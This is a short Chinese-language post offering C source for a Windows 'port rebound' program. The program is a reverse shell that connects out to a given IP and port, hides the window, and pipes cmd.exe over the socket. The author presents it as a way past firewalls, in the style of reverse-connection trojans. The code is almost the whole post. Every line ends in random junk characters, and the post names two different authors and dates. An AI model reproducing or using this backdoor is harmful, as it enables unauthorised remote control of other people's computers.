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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R2Fh^x  
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/* ============================== sfBjA  
Rebound port in Windows NT t.i9!'Y ]  
By wind,2006/7 w[n>4?"{  
===============================*/ |<o>$;mZ  
#include 8;dbU*  
#include E* DVQ3~  
wh[:wE]eX  
#pragma comment(lib,"wsock32.lib") 8Nl|\3nl-  
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void OutputShell(); a(QZZq};S  
SOCKET sClient; dzC&7 9$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $9u  
6 GevO3  
void main(int argc,char **argv) YnL?t-$Gg  
{ SwmPP-n  
WSADATA stWsaData; T"0)%k8lJ  
int nRet; . I9] `Q  
SOCKADDR_IN stSaiClient,stSaiServer; M5bj |tQ4  
7ump:|  
if(argc != 3) #j ~FA3O  
{ ]> "/<"  
printf("Useage:\n\rRebound DestIP DestPort\n"); R5~vmT5W  
return; ;ZW}47:BS6  
} jgfP|oD  
"rlSK >`  
WSAStartup(MAKEWORD(2,2),&stWsaData); H<}Fk9  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U=<.P;+f9  
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stSaiClient.sin_family = AF_INET; "a_D]D(d5  
stSaiClient.sin_port = htons(0); i1H80m s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); QcVtv7+*v  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XIW: Nk!S  
{ 7bW!u*v-c  
printf("Bind Socket Failed!\n"); )|1JcnNSa  
return; y5tAp  
} FZI 4?YD?<  
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stSaiServer.sin_family = AF_INET; ezy5Jqk5%  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K*i1! "w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [LEh  
Hbj:CViYq  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #YMp,i  
{ hx;kEJ  
printf("Connect Error!"); ^cXL4*_=  
return; 0GR9C%"]  
} <("w'd}  
OutputShell(); uF|ix.R6  
} >WS& w;G  
wk 7_(gT`0  
void OutputShell() FH5bC6  
{ 2A;[Ek6{q  
char szBuff[1024]; sNpBTG@{l  
SECURITY_ATTRIBUTES stSecurityAttributes; m6ws #%|[  
OSVERSIONINFO stOsversionInfo; .F$AmVTN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; uM6!RR!~  
STARTUPINFO stStartupInfo; j24  
char *szShell; FwzA_ nn  
PROCESS_INFORMATION stProcessInformation; ')cgx9   
unsigned long lBytesRead; 2g8P$+;  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N5_.m(:  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Tsp-]-)  
stSecurityAttributes.lpSecurityDescriptor = 0; }EG(!)u  
stSecurityAttributes.bInheritHandle = TRUE; PvBbtC-9b  
3jVm[c5%]  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !>);}J!e]  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5K-)X9z?  
*M<=K.*\G  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]<?)(xz  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1KR|i"  
stStartupInfo.wShowWindow = SW_HIDE; %{_ YJXpO  
stStartupInfo.hStdInput = hReadPipe; ?B!ZqJ#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~0{Kga  
{!?RG\EYN  
GetVersionEx(&stOsversionInfo); pNWp3+a'  
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switch(stOsversionInfo.dwPlatformId) _Cs}&Bic_  
{ T/6=A$4 #  
case 1: !27]1%Aw  
szShell = "command.com"; (`Mz.VN  
break; ?YykCJJ ~@  
default: Cb-E<W&2D  
szShell = "cmd.exe"; w[G_w:$a  
break; Z69 IHA[  
} )t=u(:u]  
WYzaD}  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0>MI*fnY"  
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send(sClient,szMsg,77,0); "kg$s5o  
while(1) JB_`lefW,'  
{ @h,$&=HY  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WkIV  
if(lBytesRead) sYI':UQe  
{ _ 7.y4zQJ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5hK\YTU  
send(sClient,szBuff,lBytesRead,0); LkB!:+v |B  
} .4(f0RG  
else *03/ :q^(  
{ s@iCfXU  
lBytesRead=recv(sClient,szBuff,1024,0); *?"{T;4u~O  
if(lBytesRead<=0) break; k|C8sSH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5z>\'a1U  
} 28yxX431S  
} AAY UXY!  
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return; 9iNns;^`q  
}
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